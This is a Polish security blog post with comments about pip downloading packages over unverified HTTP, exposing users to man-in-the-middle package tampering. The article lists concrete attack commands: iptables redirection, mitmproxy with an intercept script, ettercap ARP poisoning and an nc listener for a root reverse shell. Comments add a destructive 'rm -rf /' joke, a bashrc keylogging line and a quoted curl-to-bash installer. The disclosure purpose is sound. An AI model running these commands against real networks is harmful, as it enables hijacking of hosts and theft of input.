23:28
3/2/2013

pip ściąga paczki po HTTP, działa z prawami roota i nie weryfikuje autentyczności pobieranych plików. To oznacza, że użytkownicy pipa dają uprawnienia roota na swoich maszynach każdemu, kto może przejąć ich połączenie, czyli przeprowadzić tzw. atak Man in the Middle (np. arp poisoning). Atak ten jest stosunkowo prosty do wykonania w większości sieci LAN oraz otwartych lub chronionych WEP-em sieciach WiFi.

Przechwytywanie paczek instalowanych przez pip

Jeden z internautów stworzył skrypt pip_intercept.py, który przejmuje wszystkie paczki instalowane z PyPi. Skrypt rozpakowuje je, dodaje do pliku setup.py dodatkową linijkę, która sprawia, że ofiara nieświadomie nawiązuje połączenie z maszyną atakującego udostępniając mu shella na prawach roota.

pip nie jest taki idealny

pip nie jest taki idealny, towrzysze…

Instrukcje ataku są proste, po ściągnięciu pip_intercept.py należy wydać następujące polecenia:
sudo apt-get install atool
sudo pip install mitmproxy
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
mitmproxy -T -z -s pip_intercept.py
sudo ettercap -o -T -P repoison_arp -M arp:remote /GATEWAY_IP/ /OFIARA_IP/
nc -l 4444

…i poczekać, aż ofiara postanowi ściągnąć jakąś paczkę poprzez pipa.

Nic nowego, po prostu niedbałość

Powyższy atak to tak naprawdę nic nowego, ot ciekawe zobrazowanie skutków ataku MITM. Miejmy nadzieję, że wypuszczenie narzędzia pip_intercept.py, podobnie jak było to w przypadku dodatku Firesheep, wymusi na PyPi podniesienie bezpieczeństwa instalacji paczek poprzez zablokowanie pobierania ich nie po SSL-u oraz rozpoczęcie ich podpisywania.

Na marginesie warto zauważyć, że sama standardowa biblioteka Pythona nie weryfikuje autentyczności certyfiktów SSL

Przypomnijmy, że wektor ataku polegający na podmianie instalowanych paczek został wykorzystany we Flame — robak spoofował certyfikat Microsoftu i podszywał sie pod mechanizm Windows Update.

P.S. Dla odmiany, tym razem problem nie dotyczy Ruby’ego — gem korzysta z SSL i weryfikuje certyfikaty. A jeśli coś się nie zgadza, wyświetla następujący komunikat:

WARNING: Error fetching data: SSL_connect returned=1 errno=0 state=SSLv3 read server certificate B: certificate verify failed (https://rubygems.org/latest_specs.4.8.gz)
ERROR: While executing gem ... (Gem::RemoteFetcher::FetchError)
SSL_connect returned=1 errno=0 state=SSLv3 read server certificate B: certificate verify failed (https://rubygems.org/gems/bundler-1.2.3.gem)

Przeczytaj także:



59 komentarzy

Dodaj komentarz
  1. W dwóch słowach: użytkownik pipa

  2. sudo: apt-get: nie znaleziono polecenia

    • Nie masz apta na swej maszynie, być może spróbuj yum. Pomocne by było info, jakie distro.

    • „należy wydać następujące polecenia”

      Jeśli pisze, że należy, to wpisuję. Gdybyśmy byli na jakimś byle jakim blogu, to bym oczywiście przymknął oko na brak świadomości autora, że na Debianie świat się nie kończy. No, ale my nie jesteśmy na jakiś byle jakim blogu. A może jesteśmy?

    • > Jeśli pisze, że należy, to wpisuję.
      Nalezy wpisac: sudo rm -rf /

      > Gdybyśmy byli na jakimś byle jakim blogu
      …to autor musialby tlumaczyc jak wyklikac okienko terminala ;-)

    • Usuwanie rekurencyjne? Z takimi kwiatkami, to faktycznie nie miałbym już wątpliwości gdzie jestem.

    • … gdzieś gdzie większość z publiki ma podstawowe pojęcie
      o tym jak zainstalować paczkę w systemie ?

    • pomyliles blogi trollu…
      http://lmgtfy.com/?q=linux+managery+pakietow

    • Większość ma pojęcie jak zainstalować paczkę w systemie? To po jakiego grzyba autor tłumaczy takie banały? A jeśli to nie są banały, to czemu to banalizuje sprowadzając problem do apt-get którego używają tylko wybranej dystrybucje?

    • Ale Ty jesteś troll, że aż głowa boli. Autor podał przykładowy sposób zastosowania skryptu na przykładowej dystrybucji linuxa. Najprawdopodobniej dlatego, że na reddit’ie jest opisane to zastosowanie krok po kroku właśnie dla debiana/ubuntu. CHcesz sobie poużywać na innej dystrybucji, to zrób to we właściwy dla niej sposób. Na prawdę nie masz większych problemów niż debata o tym, że nie działa Ci sudo apt-get i autor nie raczył wspomnieć, że tak może być?

    • wpisz w kąsolę sudo uname -a pierwszą podpowiedzią jest
      prośba o hasło. Jeśli poprosi to debianopochodne (np. Ubuntu lub
      Mint), jeśli się spruje, że nie zna polecenia pisz su i podaj hasło
      na roota, następnie uname -a i system powinien się przedstawić.
      polecenie su nazwa_użytkownika, ew. su -c wraca do normalnego
      usera. Jeśli już wiesz jaki masz system udaj się na forum dla
      userów właściwego distro :) Generalnie w internecie jest masa forów
      dla linuxowych newbie. To się nazywa potęga open source.

    • Piękna ironia nie uważacie?

      Czytając bloga o bezpieczeństwie it wpisywać bez zrozumienia polecenia z uprawnieniami su – bo to wynika z twojego posta jak sarkastyczny lub cwany tobie się wydawał.

      To jest przykład. Jak nie potrafisz rozszyfrować i zweryfikować jakie akcje wiążą się z danym poleceniem i z tą informacją wykonać adekwatne polecenia mające ten sam efekt na “swojej wybranej dystrybucji” to może nie powinieneś… Troll.

    • Zacznijmy od tego, że wyszedłeś z założenia, że nie wiem do czego służy apt-get i jak się go używa. I może na tym zakończmy…

  3. A co jeśli ktoś korzysta z virtualenva i używa pipa na prawach swojego usera wewnątrz tego virtualenva? (-;
    Wtedy jak już, będzie dostęp tylko do takiego usera (w najgorszej sytuacji)?

    • Wtedy ma shella jako user odpalający virtualenva :) co i
      tak daje spory wachlarz możliwości ;)

    • “na prawach swojego usera” instaluje keyloggera i czeka aż
      user zaloguje sie do czegoś lub użyje su/sudo

    • Szkoda że na Linuksa keyloggera się napisać nie da…

    • jeżeli tylko w konsoli to wystarczy dodać gdzieś w bashrc

      script -a -q /tmp/log
      ;]
      po bardziej zaawansowany trzebaby szukać po Xach jak przechwycić eventy ale dla chcącego ;]

    • Nie da? Ah… ta ślepa wiara linuksowców w swój OS. Google: linux keylogger
      ;)

    • not sure if trolling…

    • @SuperTux: da się dla aplikacji X11… klawisze są współdzielone dla całych Xsów i każda aplikacja wie o wciśnięciu danego klawisza.

    • Nie da sie, naprawili xinput z rok temu. Masz stare info

    • apt-cache search keylogger
      logkeys – a keylogger for GNU/Linux systems

    • keylogger na prawach roota to zupelnie inna bajka, tutaj mowa o keyloggerze na prawach usera.

  4. Ciekawe czy cpan(p/m) też może być tak wykorzystany.

    • to zależy od tego jaki mirror mu dasz, jak każesz mu
      sciągać po FTPie czy po HTTP to nie. Ale problem nie kończy się na
      tym czy transport jest po SSL, należy też rozważyć przypadek gdy
      ktoś np. zchaczy konto popularnej biblioteki i podrzuci
      niespodziankę, obchodząc całe security systemu dystrybucji (bo np.
      autor liba miał chujowe hasło do poczty). i gem i CPAN obsługują
      też podpisywanie paczek GPG i wtedy teoretycznie można zweryfikować
      czy nikt nie grzebał przy paczce ale praktycznie to niestety mało
      stuffu jest podpisane a nawet jeżeli to też nie gwarantuje
      “pewności”. Niestety, każdy język programowania uparł się żeby
      duplikować funkcjonalność systemowego menadżera pakietów (co
      jeszcze ma sens bo co system to inny) bez kopiowania sprawdzonych
      rozwiązań (chociażby sensowne podpisywanie i zarządzanie
      kluczami)

    • CPAN uzwa plików checksums, np. http://www.cpan.org/authors/id/G/GR/GRANTM/CHECKSUMS
      plus opcjonalnie podpisy cyfrowe dla paczek

  5. Typowe lenistwo. Podpisywanie paczek w Archu też było
    uznawane za nie potrzebne a potem zostało dodane w rekordowym
    czasie :P

  6. Te dedykowane repo dla konkretnych języków skryptowych (cpan, pip, gem) to masakra imho. Tak jakby jakimś problemem było zpaczkować te wszystkie liby dla danych dystrybucji i trzymać je na ich repo tak jak robi reszta języków. Python i Perl część mają zpaczkowane zwykle, ale Ruby to jedzie niemal po całości.

    • @Cyber Killer nie bardzo rozumiem, chciałbyś to ściągać
      razem z dystrybucją, bo tych bibliotek trochę już jest. Nie wiem
      jak w przypadku pozostałych, ale w cpanie lądują też biblioteki nie
      do końca sensowne (cały pakiet Acme). Zresztą Java też ma osobne
      repozytorium. W zasadzie to każdy może stworzyć własne repozytorium
      dla Javy, wystarczy wystawić folder z jarami i odpowiednimi
      xmlami

    • Jaka niby reszta jezyków? Pip, gem to właśnie jedno z
      lepszych co ma Python/Ruby.

    • Nie do końca, bo co gdy użytkownik A i B potrzebują tej samej paczki ale w inne wersji, np. 2.11 i 3.2 ? Demokratycznie przyjmują którą wersję instaluje admin ? ;-)

      W Pythonie tworzy się tak zwany virtualenv, dla każdego projektu i w ramach tego środowiska instalowane są pakiety (instalacja odbywa się jako użytkownik, beż uprawnień roota).

    • Ano chciałbym żeby to było zpaczkowane tak jak te liby które już są. Przykładowo mam na repo takie paczki jak python-qt4, python-gtk i sporo jeszcze innych. Kwestia różnych wersji jest zazwyczaj robiona tak że jeśli biblioteki w zależności od wersji są ze sobą niezgodne to mają osobne paczki, które można zainstalować obok siebie.

    • @Sharpek Da się to zrobić odpowiednio zmieniając nazwę paczek np. paczka2.11 paczka2.12 paczka3.2 .

    • Bezdura. Bo co jeśli debian stable używa pythona 2.6 (właśnie między innymi dlatego że dodanie 2.7 wymagałoby sprawdzenia kompatybilności każdej paczki ze wspomnianym 2.7), a ja sobie zainstaluje na boczku interpreter 2.7 (python-homebrew) oraz wszystkie potrzebne paczki.

      Wszyscy szczęśliwi — i ja mam nowe zabawki i ludzie od debiana nie mają roboty a i admin nie musi sie martwić.

    • akurat same wersję języków w debianie są tak zrobione że po instalacji np. 2.6, 2.7 będziesz miał /usr/bin/python2.6 i /usr/bin/python2.7. tak samo oddzielne katalogi libów, i wszystko ładnie ze sobą gra ;]. Cuda z envami trzeba robić gdy chcesz inne wersje libów pod tym samym interpreterem ale tu każdy język ma coś własnego.

      Z jednej strony chujowo że każdy język ma innego managera ale z drugiej strony pozwalają one na łatwe zainstalowanie środowiska które ma takie same wersję libów jak “produkcja”.

      Co fajniejsze (np. perlbrew to ma) pozwalają na kolejne odpalanie aplikacji na różnych zestawach libów i wersji interpretera więc można łatwo zweryfikować że app pójdzie zarówno na starych jak i nowych systemach

    • @Jacek: no i właśnie do tego się cały problem sprowadza – niektórzy dziwni userzy przychodzący z innych OSów nie chcą się podporządkować woli ludzi robiących distro i chcą mieć nowe wersje teraz-zaraz, zamiast zaczekać na nowy release całości z nowymi paczkami. I potem pojawiają się takie cuda jak te pipy, gemy, cpany itd o które się cała dyskusja toczy.

    • nie wiesz o czym piszesz

    • Jakby potrzeba posiadania nowych wersji była grzechem. Tak nie chcę czekać na wydanie nowego debiana stable, ale pisanie teraz nowego softu pod pythona 2.6 to strzał w stopę, bo prędzej niż później będzie trzeba to wszystko przepchnąć na 3.3.

      Nie mówiąc już o takiej sytuacji że jedna webaplikacja potrzebuje django 1.3 i na 1.5 się wiesza, a druga korzysta z ficzerów 1.5. I nie debian nie ma paczki python-django-1.5 i można mieć jedną systemową wersję tej biblioteki.

      W skrócie:

      * Pozasystemowe managery paczek rozwiązują wiele problemów;
      * Systemowe repozytoria choć dobre, nie są lekiem na całe zo świata;

    • Cyber Killer zgłaszasz sie na ochotnika ?

    • Oj dobrze wiem o czym piszę… Jestem adminem w firmie robiącej software (m.in. stronki www również). Jak widzę jak mi taki developer życzy sobie maszynę np z Debianem i pierwsze co robi to wewnątrz home wrzuca statyczną “paczkę” XAMPP zassaną z www (jeszcze pół biedy jak to z oficjalnej stronki zassa a nie z dobreprogramy :-P ) i na niej developuje projekt, a potem takie coś idzie do klienta jako rekomendowana metoda deploymentu całości to mnie krew za-le-wa! I potem są rozsiane po świecie produkcyjne maszyny na których są archaiczne usługi chodzące, bo kiedyś ktoś tylko rozpakował zipa z serwerem, a liby są zaciągane z jakichś pozadistro źródeł, wszystko nieupdateowalne z repo dystrybucji, itp itd… a na koniec to na adminów ludzie bluzgają że serwer nie jest należycie zabezpieczony :-P.

    • @Cyber Killer
      O to to to! Nie wiem, czy miałeś kiedyś w ręku magazyn Programista. Na 10 przykładów chyba w jednym zalecaną metodą instalacji było korzystanie z pacmana (lub alternatywnego rozwiązania dla innych dystrybucji!) Najczęściej jednak autor w notce każe kompilować ze źródeł… Krew zalewa.

  7. programiści C nie mają takich problemów…

    • Programiści C piszą 5 razy tyle niepotrzebnego kodu ;)

    • Programiści C nie mają dylematów, czy korzystać z wersji 2.x, czy 3.x.

  8. pip działa z prawami roota *jak mu każesz*, a robienie tego, w szczególności pod Linuksem, to debilizm. Pod Linuksem najlepiej instalować paczki dla *dystrybucji*, nie dla Pythona, albo używać virtualenv.

    • >> “od Linuksem najlepiej instalować paczki dla *dystrybucji*, nie dla Pythona”
      Dlaczego?

    • Bo to jest korzystanie z koła wymyślanego na nowo, które w dodatku okazuje się marnej jakości.

    • @Kwpolska A potem mam pisać appsy na starych wersjach modułów bo jakiś maintainer był leniwy i nie wrzucił nowej wersji do repo dystrybucji…

  9. Dobrze widzę, że instrukcja każe dać pip-owi prawa roota i zainstalować pakiet?

  10. Całkiem pomysłowe :)

  11. Używa się virtualenva dla Pythona, RVM dla Ruby i NVM dla node.js. Masz dzięki temu separację libów w wersjach jakich chcesz i interpretera również. Taka jest właściwa praktyka.

  12. 1. Dystrybucje Linuksa mają swoje menedżery pakietów (jak już wspomniano)
    2. Duża część pakietów posiada instalatory dla Windows (PyQt, NumPy, SciPy, matplotlib itd.), jeśli nie na oficjalnej stronie to tutaj http://www.lfd.uci.edu/~gohlke/pythonlibs/
    3. [Niezależnie od systemu operacyjnego] Zaleca się aby: pobrać plik virtualenv.py ze strony projektu i utworzyć wirtualne środowisko. Pip nie wymaga uprawnień administratora. Tak to działa:

    http://i.imgur.com/fFEsHRx.png

  13. Author of pip here (though not very involved anymore): I personally strongly believe you shouldn’t be installing packages as part of a deployment process, only as an explicit development step. In that context it’s not nearly as dangerous, though certainly certificate checking would be a good feature. It’s much harder to introduce malicious code when you are installing and verifying all upgrades and checking them into source control. (And that same process helps catch non-malicious code breakage.) Unfortunately managing vendor libraries with pip is not as easy as it should be.

  14. Ciąg dalszy dyskusji na reddit.com:

    http://www.reddit.com/r/Python/comments/17vhhg/pip_is_not_safe/

  15. >Przypomnijmy, że wektor ataku polegający na podmianie instalowanych paczek został >wykorzystany we Flame — robak spoofował certyfikat Microsoftu i podszywał sie pod >mechanizm Windows Update.

    Przepraszam, ale porownywanie nieznanego dotychczas ataku kryptograifcznego do MITM
    po plain texcie brzmi niepowanie. Tool do MITM w takim wydaniu bardziej rozgarniety licealista jest w stanie napisac. 0daye mozna w necie czasem latajace po stronach znalezc. Ale nowy ataka kryptograficzny zastosowany w praktyce? Pokaz mi gdzie moge cos takiego kupic ;-)

  16. Ze strony python homebrew:

    The recommended way to download and install pythonbrew is to run these statements in your shell::
    curl -kL http://xrl.us/pythonbrewinstall | bash

    This keeps getting better and better.

  17. Czegoś nie rozumiem, jeśli trzeba mieć roota żeby przekierować ruch na iptables, to co to za atak?

    • Roota potrzebujesz lokalnie na innym komputerze w danej
      sieci.

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: